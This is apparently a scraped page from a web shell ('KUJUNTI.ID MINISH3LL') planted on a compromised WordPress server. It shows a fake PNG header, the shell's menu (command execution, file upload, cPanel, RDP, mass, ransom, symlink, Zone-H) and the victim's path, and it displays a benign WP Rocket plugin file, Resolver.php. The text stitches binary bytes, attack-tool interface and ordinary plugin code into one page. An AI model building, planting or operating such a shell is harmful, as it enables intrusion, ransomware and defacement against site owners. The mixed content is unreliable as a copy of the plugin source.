\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/egeantrepo/wp-content/plugins/wp-rocket/inc/Engine/Debug/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/egeantrepo/wp-content/plugins/wp-rocket/inc/Engine/Debug/Resolver.php


<?php

namespace WP_Rocket\Engine\Debug;

use WP_Rocket\Admin\Options_Data;

/**
 * Resolver.
 */
class Resolver {

	/**
	 * Array of WP Rocket Options.
	 *
	 * @var array
	 */
	private $options_services = [
		'remove_unused_css' => [
			'service' => 'rucss_debug_subscriber',
			'class'   => 'WP_Rocket\Engine\Debug\RUCSS\Subscriber',
		],
	];

	/**
	 * Debug options instance.
	 *
	 * @var Options_Data
	 */
	private $options;

	/**
	 * Instantiate the class.
	 *
	 * @param Options_Data $options Options instance.
	 */
	public function __construct( Options_Data $options ) {
		$this->options = $options;
	}

	/**
	 * Ships an array of available services.
	 *
	 * @return array Array of services.
	 */
	public function get_services(): array {
		$set_services = [];

		if ( empty( $this->options_services ) ) {
			return [];
		}

		foreach ( $this->options_services as $option => $services ) {
			if ( ! (bool) $this->options->get( $option, 0 ) ) {
				continue;
			}

			$set_services[] = $services;
		}

		return $set_services;
	}
}

© KUJUNTI.ID